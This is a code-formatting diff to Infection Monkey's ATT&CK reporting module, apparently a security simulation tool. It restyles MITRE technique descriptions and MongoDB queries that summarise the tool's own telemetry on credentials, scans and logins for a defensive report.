-226,9 +243,11 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1110", - "description": "Adversaries may use brute force techniques to attempt access to accounts " - "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210", "T1021"] + "description": "Adversaries may use brute force techniques to attempt access " + "to accounts " + "when passwords are unknown or when password hashes are " + "obtained.", + "depends_on": ["T1210", "T1021"], }, "T1003": { "title": "Credential dumping", @@ -236,12 +255,15 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1003", - "description": "Mapped with T1078 Valid Accounts because both techniques require" - " same credential harvesting modules. " - "Credential dumping is the process of obtaining account login and password " - "information, normally in the form of a hash or a clear text password, " - "from the operating system and software.", - "depends_on": ["T1078"] + "description": "Mapped with T1078 Valid Accounts because " + "both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login " + "and password " + "information, normally in the form of a hash or a clear text " + "password, " + "from the operating system and software.", + "depends_on": ["T1078"], }, "T1145": { "title": "Private keys", @@ -249,12 +271,14 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1145", - "description": "Adversaries may gather private keys from compromised systems for use in " - "authenticating to Remote Services like SSH or for use in decrypting " - "other collected files such as email.", - "depends_on": ["T1110", "T1210"] - } - } + "description": "Adversaries may gather private keys from compromised systems " + "for use in " + "authenticating to Remote Services like SSH or for use in " + "decrypting " + "other collected files such as email.", + "depends_on": ["T1110", "T1210"], + }, + }, }, "discovery": { "title": "Discovery", @@ -267,9 +291,11 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1087", - "description": "Adversaries may attempt to get a listing of accounts on a system or " - "within an environment. This information can help adversaries determine which " - "accounts exist to aid in follow-on behavior." + "description": "Adversaries may attempt to get a listing of accounts on a " + "system or " + "within an environment. This information can help adversaries " + "determine which " + "accounts exist to aid in follow-on behavior.", }, "T1018": { "title": "Remote System Discovery", @@ -277,8 +303,10 @@ SCHEMA = { "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1018", - "description": "Adversaries will likely attempt to get a listing of other systems by IP address, " - "hostname, or other logical identifier on a network for lateral movement." + "description": "Adversaries will likely attempt to get a listing of other " + "systems by IP address, " + "hostname, or other logical identifier on a network for lateral" + " movement.", }, "T1082": { "title": "System information discovery", @@ -288,8 +316,9 @@ SCHEMA = { "link": "https://attack.mitre.org/techniques/T1082", "depends_on": ["T1016", "T1005"], "description": "An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, hotfixes, " - "service packs, and architecture." + "operating system and hardware, including version, patches, " + "hotfixes, " + "service packs, and architecture.", }, "T1016": { "title": "System network configuration discovery", @@ -298,11 +327,13 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1016", "depends_on": ["T1005", "T1082"], - "description": "Adversaries will likely look for details about the network configuration " - "and settings of systems they access or through information discovery" - " of remote systems." - } - } + "description": "Adversaries will likely look for details about the network " + "configuration " + "and settings of systems they access or through information " + "discovery" + " of remote systems.", + }, + }, }, "lateral_movement": { "title": "Lateral movement", @@ -315,9 +346,12 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1210", - "description": "Exploitation of a software vulnerability occurs when an adversary " - "takes advantage of a programming error in a program, service, or within the " - "operating system software or kernel itself to execute adversary-controlled code." + "description": "Exploitation of a software vulnerability occurs when an " + "adversary " + "takes advantage of a programming error in a program, service, " + "or within the " + "operating system software or kernel itself to execute " + "adversary-controlled code.", }, "T1075": { "title": "Pass the hash", @@ -325,8 +359,9 @@ SCHEMA = { "value": True, "necessary": False, "link": "https://attack.mitre.org/techniques/T1075", - "description": "Pass the hash (PtH) is a method of authenticating as a user without " - "having access to the user's cleartext password." + "description": "Pass the hash (PtH) is a method of authenticating as a user " + "without " + "having access to the user's cleartext password.", }, "T1105": { "title": "Remote file copy", @@ -335,7 +370,7 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1105", "description": "Files may be copied from one system to another to stage " - "adversary tools or other files over the course of an operation." + "adversary tools or other files over the course of an operation.", }, "T1021": { "title": "Remote services", @@ -345,9 +380,9 @@ SCHEMA = { "link": "https://attack.mitre.org/techniques/T1021", "depends_on": ["T1110"], "description": "An adversary may use Valid Accounts to log into a service" - " specifically designed to accept remote connections." - } - } + " specifically designed to accept remote connections.", + }, + }, }, "collection": { "title": "Collection", @@ -361,10 +396,12 @@ SCHEMA = { "necessary": False, "link": "https://attack.mitre.org/techniques/T1005", "depends_on": ["T1016", "T1082"], - "description": "Sensitive data can be collected from local system sources, such as the file system " - "or databases of information residing on the system prior to Exfiltration." + "description": "Sensitive data can be collected from local system sources, " + "such as the file system " + "or databases of information residing on the system prior to " + "Exfiltration.", } - } + }, }, "command_and_control": { "title": "Command and Control", @@ -377,8 +414,9 @@ SCHEMA = { "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1090", - "description": "A connection proxy is used to direct network traffic between systems " - "or act as an intermediary for network communications." + "description": "A connection proxy is used to direct network traffic between " + "systems " + "or act as an intermediary for network communications.", }, "T1065": { "title": "Uncommonly used port", @@ -387,7 +425,8 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1065", "description": "Adversaries may conduct C2 communications over a non-standard " - "port to bypass proxies and firewalls that have been improperly configured." + "port to bypass proxies and firewalls that have been improperly " + "configured.", }, "T1188": { "title": "Multi-hop proxy", @@ -396,9 +435,9 @@ SCHEMA = { "necessary": True, "link": "https://attack.mitre.org/techniques/T1188", "description": "To disguise the source of malicious traffic, " - "adversaries may chain together multiple proxies." - } - } + "adversaries may chain together multiple proxies.", + }, + }, }, "exfiltration": { "title": "Exfiltration", @@ -411,9 +450,10 @@ SCHEMA = { "value": True, "necessary": True, "link": "https://attack.mitre.org/techniques/T1041", - "description": "Data exfiltration is performed over the Command and Control channel." + "description": "Data exfiltration is performed over the Command and Control " + "channel.", } - } - } - } + }, + }, + }, } diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index 25970ad66..596f4d498 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -1,46 +1,52 @@ +import os from typing import Dict, List from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH + class MitreApiInterface: - - ATTACK_DATA_PATH = 'monkey_island/cc/services/attack/attack_data/enterprise-attack' + ATTACK_DATA_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "services", "attack", "attack_data", "enterprise-attack" + ) @staticmethod def get_all_mitigations() -> Dict[str, CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - mitigation_filter = [Filter('type', '=', 'course-of-action')] + mitigation_filter = [Filter("type", "=", "course-of-action")] all_mitigations = file_system.query(mitigation_filter) - all_mitigations = {mitigation['id']: mitigation for mitigation in all_mitigations} + all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} return all_mitigations @staticmethod def get_all_attack_techniques() -> Dict[str, AttackPattern]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [Filter('type', '=', 'attack-pattern')] + technique_filter = [Filter("type", "=", "attack-pattern")] all_techniques = file_system.query(technique_filter) - all_techniques = {technique['id']: technique for technique in all_techniques} + all_techniques = {technique["id"]: technique for technique in all_techniques} return all_techniques @staticmethod def get_technique_and_mitigation_relationships() -> List[CourseOfAction]: file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [Filter('type', '=', 'relationship'), - Filter('relationship_type', '=', 'mitigates')] + technique_filter = [ + Filter("type", "=", "relationship"), + Filter("relationship_type", "=", "mitigates"), + ] all_techniques = file_system.query(technique_filter) return all_techniques @staticmethod def get_stix2_external_reference_id(stix2_data) -> str: - for reference in stix2_data['external_references']: - if reference['source_name'] == "mitre-attack" and 'external_id' in reference: - return reference['external_id'] - return '' + for reference in stix2_data["external_references"]: + if reference["source_name"] == "mitre-attack" and "external_id" in reference: + return reference["external_id"] + return "" @staticmethod def get_stix2_external_reference_url(stix2_data) -> str: - for reference in stix2_data['external_references']: - if 'url' in reference: - return reference['url'] - return '' + for reference in stix2_data["external_references"]: + if "url" in reference: + return reference["url"] + return "" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 399be0992..d79aa7575 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -3,23 +3,34 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.services.reporting.report import ReportService -__author__ = "VakarisZ" - class T1003(AttackTechnique): tech_id = "T1003" - unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + unscanned_msg = ( + "Monkey tried to obtain credentials from systems in the network but didn't " + "find any or failed." + ) scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." - query = {'$or': [ - {'telem_category': 'system_info', - '$and': [{'data.credentials': {'$exists': True}}, - {'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object - {'telem_category': 'exploit', - '$and': [{'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': {'$gt': {}}}]} - ]} + query = { + "$or": [ + { + "telem_category": "system_info", + "$and": [ + {"data.credentials": {"$exists": True}}, + {"data.credentials": {"$gt": {}}}, + ], + }, # $gt: {} checks if field is not an empty object + { + "telem_category": "exploit", + "$and": [ + {"data.info.credentials": {"$exists": True}}, + {"data.info.credentials": {"$gt": {}}}, + ], + }, + ] + } @staticmethod def get_report_data(): @@ -31,11 +42,11 @@ class T1003(AttackTechnique): status = ScanStatus.UNSCANNED.value return (status, []) - data = {'title': T1003.technique_title()} + data = {"title": T1003.technique_title()} status, _ = get_technique_status_and_data() data.update(T1003.get_message_and_status(status)) data.update(T1003.get_mitigation_by_status(status)) - data['stolen_creds'] = ReportService.get_stolen_creds() - data['stolen_creds'].extend(ReportService.get_ssh_keys()) + data["stolen_creds"] = ReportService.get_stolen_creds() + data["stolen_creds"].extend(ReportService.get_ssh_keys()) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 78571562a..5aa2f4ad8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -1,8 +1,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1005(AttackTechnique): tech_id = "T1005" @@ -10,24 +8,45 @@ class T1005(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully gathered sensitive data from local system." - query = [{'$match': {'telem_category': 'attack', - 'data.technique': tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'gathered_data_type': '$data.gathered_data_type', - 'info': '$data.info'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] + query = [ + {"$match": {"telem_category": "attack", "data.technique": tech_id}}, + { + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", + } + }, + { + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "gathered_data_type": "$data.gathered_data_type", + "info": "$data.info", + } + }, + { + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, + } + }, + { + "$group": { + "_id": { + "machine": "$machine", + "gathered_data_type": "$gathered_data_type", + "info": "$info", + } + } + }, + {"$replaceRoot": {"newRoot": "$_id"}}, + ] @staticmethod def get_report_data(): data = T1005.get_tech_base_data() - data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))}) + data.update({"collected_data": list(mongo.db.telemetry.aggregate(T1005.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index a1162b109..3ff4544d2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1016(AttackTechnique): tech_id = "T1016" @@ -11,19 +9,37 @@ class T1016(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." - query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, - {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'networks': '$data.network_info.networks', - 'netstat': '$data.network_info.netstat'}}, - {'$addFields': {'_id': 0, - 'netstat': 0, - 'networks': 0, - 'info': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, - 'name': {'$literal': 'Network connections (netstat)'}}, - {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, - 'name': {'$literal': 'Network interface info'}}, - ]}}] + query = [ + {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, + { + "$project": { + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "networks": "$data.network_info.networks", + "netstat": "$data.network_info.netstat", + } + }, + { + "$addFields": { + "_id": 0, + "netstat": 0, + "networks": 0, + "info": [ + { + "used": { + "$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$netstat", {}]}] + }, + "name": {"$literal": "Network connections (netstat)"}, + }, + { + "used": { + "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] + }, + "name": {"$literal": "Network interface info"}, + }, + ], + } + }, + ] @staticmethod def get_report_data(): @@ -36,5 +52,5 @@ class T1016(AttackTechnique): status, network_info = get_technique_status_and_data() data = T1016.get_base_data_by_status(status) - data.update({'network_info': network_info}) + data.update({"network_info": network_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py index 3ea49603c..1495911bd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1018(AttackTechnique): tech_id = "T1018" @@ -11,20 +9,33 @@ class T1018(AttackTechnique): scanned_msg = "" used_msg = "Monkey found machines on the network." - query = [{'$match': {'telem_category': 'scan'}}, - {'$sort': {'timestamp': 1}}, - {'$group': {'_id': {'monkey_guid': '$monkey_guid'}, - 'machines': {'$addToSet': '$data.machine'}, - 'started': {'$first': '$timestamp'}, - 'finished': {'$last': '$timestamp'}}}, - {'$lookup': {'from': 'monkey', - 'localField': '_id.monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey_tmp'}}, - {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}}, - {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname', - 'ips': '$monkey_tmp.ip_addresses'}, - 'monkey_tmp': 0}}] + query = [ + {"$match": {"telem_category": "scan"}}, + {"$sort": {"timestamp": 1}}, + { + "$group": { + "_id": {"monkey_guid": "$monkey_guid"}, + "machines": {"$addToSet": "$data.machine"}, + "started": {"$first": "$timestamp"}, + "finished": {"$last": "$timestamp"}, + } + }, + { + "$lookup": { + "from": "monkey", + "localField": "_id.monkey_guid", + "foreignField": "guid", + "as": "monkey_tmp", + } + }, + {"$addFields": {"_id": 0, "monkey_tmp": {"$arrayElemAt": ["$monkey_tmp", 0]}}}, + { + "$addFields": { + "monkey": {"hostname": "$monkey_tmp.hostname", "ips": "$monkey_tmp.ip_addresses"}, + "monkey_tmp": 0, + } + }, + ] @staticmethod def get_report_data(): @@ -40,5 +51,5 @@ class T1018(AttackTechnique): status, scan_info = get_technique_status_and_data() data = T1018.get_base_data_by_status(status) - data.update({'scan_info': scan_info}) + data.update({"scan_info": scan_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index b017e7c85..4e668f601 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -3,8 +3,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds -__author__ = "VakarisZ" - class T1021(AttackTechnique): tech_id = "T1021" @@ -13,22 +11,26 @@ class T1021(AttackTechnique): used_msg = "Monkey successfully logged into remote services on the network." # Gets data about brute force attempts - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]} - } - } - } - }] + query = [ + {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}}, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] - scanned_query = {'telem_category': 'exploit', - 'data.attempts': {'$elemMatch': {'result': True}}} + scanned_query = {"telem_category": "exploit", "data.attempts": {"$elemMatch": {"result": True}}} @staticmethod def get_report_data(): @@ -40,9 +42,9 @@ class T1021(AttackTechnique): if attempts: status = ScanStatus.USED.value for result in attempts: - result['successful_creds'] = [] - for attempt in result['attempts']: - result['successful_creds'].append(parse_creds(attempt)) + result["successful_creds"] = [] + for attempt in result["attempts"]: + result["successful_creds"].append(parse_creds(attempt)) else: status = ScanStatus.SCANNED.value else: @@ -52,5 +54,5 @@ class T1021(AttackTechnique): status, attempts = get_technique_status_and_data() data = T1021.get_base_data_by_status(status) - data.update({'services': attempts}) + data.update({"services": attempts}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index e0694f3b4..cb8775fc4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,16 +1,17 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique -__author__ = "VakarisZ" - class T1035(UsageTechnique): tech_id = "T1035" - unscanned_msg = "Monkey didn't try to interact with Windows services since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to interact with Windows services since it didn't run on " + "any Windows machines." + ) scanned_msg = "Monkey tried to interact with Windows services, but failed." used_msg = "Monkey successfully interacted with Windows services." @staticmethod def get_report_data(): data = T1035.get_tech_base_data() - data.update({'services': T1035.get_usage_data()}) + data.update({"services": T1035.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py index b4548dac8..2cdcfa975 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1041(AttackTechnique): tech_id = "T1041" @@ -16,9 +14,14 @@ class T1041(AttackTechnique): @T1041.is_status_disabled def get_technique_status_and_data(): monkeys = list(Monkey.objects()) - info = [{'src': monkey['command_control_channel']['src'], - 'dst': monkey['command_control_channel']['dst']} - for monkey in monkeys if monkey['command_control_channel']] + info = [ + { + "src": monkey["command_control_channel"]["src"], + "dst": monkey["command_control_channel"]["dst"], + } + for monkey in monkeys + if monkey["command_control_channel"] + ] if info: status = ScanStatus.USED.value else: @@ -28,5 +31,5 @@ class T1041(AttackTechnique): status, info = get_technique_status_and_data() data = T1041.get_base_data_by_status(status) - data.update({'command_control_channel': info}) + data.update({"command_control_channel": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py index 7ab1b5607..3a10e92f7 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py @@ -1,12 +1,12 @@ from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique -__author__ = "shreyamalviya" - class T1053(PostBreachTechnique): tech_id = "T1053" - unscanned_msg = "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried scheduling a job on the Windows system but failed." used_msg = "Monkey scheduled a job on the Windows system." pba_names = [POST_BREACH_JOB_SCHEDULING] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index b702ddd58..6d7940718 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1059(AttackTechnique): tech_id = "T1059" @@ -11,15 +9,19 @@ class T1059(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran commands on exploited machines in the network." - query = [{'$match': {'telem_category': 'exploit', - 'data.info.executed_cmds': {'$exists': True, '$ne': []}}}, - {'$unwind': '$data.info.executed_cmds'}, - {'$sort': {'data.info.executed_cmds.powershell': 1}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info'}}, - {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}, - {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.info.executed_cmds": {"$exists": True, "$ne": []}, + } + }, + {"$unwind": "$data.info.executed_cmds"}, + {"$sort": {"data.info.executed_cmds.powershell": 1}}, + {"$project": {"_id": 0, "machine": "$data.machine", "info": "$data.info"}}, + {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, + {"$project": {"_id": 0, "data": {"$arrayElemAt": ["$data", 0]}}}, + ] @staticmethod def get_report_data(): @@ -33,7 +35,7 @@ class T1059(AttackTechnique): return (status, cmd_data) status, cmd_data = get_technique_status_and_data() - data = {'title': T1059.technique_title(), 'cmds': cmd_data} + data = {"title": T1059.technique_title(), "cmds": cmd_data} data.update(T1059.get_message_and_status(status)) data.update(T1059.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 2c68c9ae4..d8c723053 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,8 +1,6 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique -__author__ = "VakarisZ" - class T1064(UsageTechnique): tech_id = "T1064" @@ -14,5 +12,5 @@ class T1064(UsageTechnique): def get_report_data(): data = T1064.get_tech_base_data() script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) - data.update({'scripts': script_usages}) + data.update({"scripts": script_usages}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index 3b18be488..edc35b23a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -1,11 +1,8 @@ +from common.config_value_paths import CURRENT_SERVER_PATH from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.technique_reports import AttackTechnique from monkey_island.cc.services.config import ConfigService -__author__ = "VakarisZ" - -from common.config_value_paths import CURRENT_SERVER_PATH - class T1065(AttackTechnique): tech_id = "T1065" @@ -16,6 +13,6 @@ class T1065(AttackTechnique): @staticmethod def get_report_data(): - port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(':')[1] + port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(":")[1] T1065.used_msg = T1065.message % port return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 5d3f270e7..372ec35b0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -2,31 +2,53 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1075(AttackTechnique): tech_id = "T1075" - unscanned_msg = "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines." + unscanned_msg = ( + "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines." + ) scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed." used_msg = "Monkey successfully used hashed credentials." - login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}}, - {'lm_hash': {'$ne': ''}}]}}} + login_attempt_query = { + "data.attempts": { + "$elemMatch": {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]} + } + } # Gets data about successful PTH logins - query = [{'$match': {'telem_category': 'exploit', - 'data.attempts': {'$not': {'$size': 0}, - '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}}, - {'lm_hash': {'$ne': ''}}]}, - {'result': True}]}}}}, - {'$project': {'_id': 0, - 'machine': '$data.machine', - 'info': '$data.info', - 'attempt_cnt': {'$size': '$data.attempts'}, - 'attempts': {'$filter': {'input': '$data.attempts', - 'as': 'attempt', - 'cond': {'$eq': ['$$attempt.result', True]}}}}}] + query = [ + { + "$match": { + "telem_category": "exploit", + "data.attempts": { + "$not": {"$size": 0}, + "$elemMatch": { + "$and": [ + {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]}, + {"result": True}, + ] + }, + }, + } + }, + { + "$project": { + "_id": 0, + "machine": "$data.machine", + "info": "$data.info", + "attempt_cnt": {"$size": "$data.attempts"}, + "attempts": { + "$filter": { + "input": "$data.attempts", + "as": "attempt", + "cond": {"$eq": ["$$attempt.result", True]}, + } + }, + } + }, + ] @staticmethod def get_report_data(): @@ -42,8 +64,8 @@ class T1075(AttackTechnique): return (status, successful_logins) status, successful_logins = get_technique_status_and_data() - data = {'title': T1075.technique_title()} - data.update({'successful_logins': successful_logins}) + data = {"title": T1075.technique_title()} + data.update({"successful_logins": successful_logins}) data.update(T1075.get_message_and_status(status)) data.update(T1075.get_mitigation_by_status(status)) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 1a9ff94f8..a9409d4bc 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique -__author__ = "VakarisZ" - class T1082(AttackTechnique): tech_id = "T1082" @@ -11,30 +9,63 @@ class T1082(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}}, - {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, - 'aws': '$data.aws', - 'netstat': '$data.network_info.netstat', - 'process_list': '$data.process_list', - 'ssh_info': '$data.ssh_info', - 'azure_info': '$data.Azure'}}, - {'$project': {'_id': 0, - 'machine': 1, - 'collections': [ - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]}, - 'name': {'$literal': 'Amazon Web Services info'}}, - {'used': {'$and': [{'$ifNull': ['$process_list', False]}, - {'$gt': ['$process_list', {}]}]}, - 'name': {'$literal': 'Running process list'}}, - {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]}, - 'name': {'$literal': 'Network connections'}}, - {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]}, 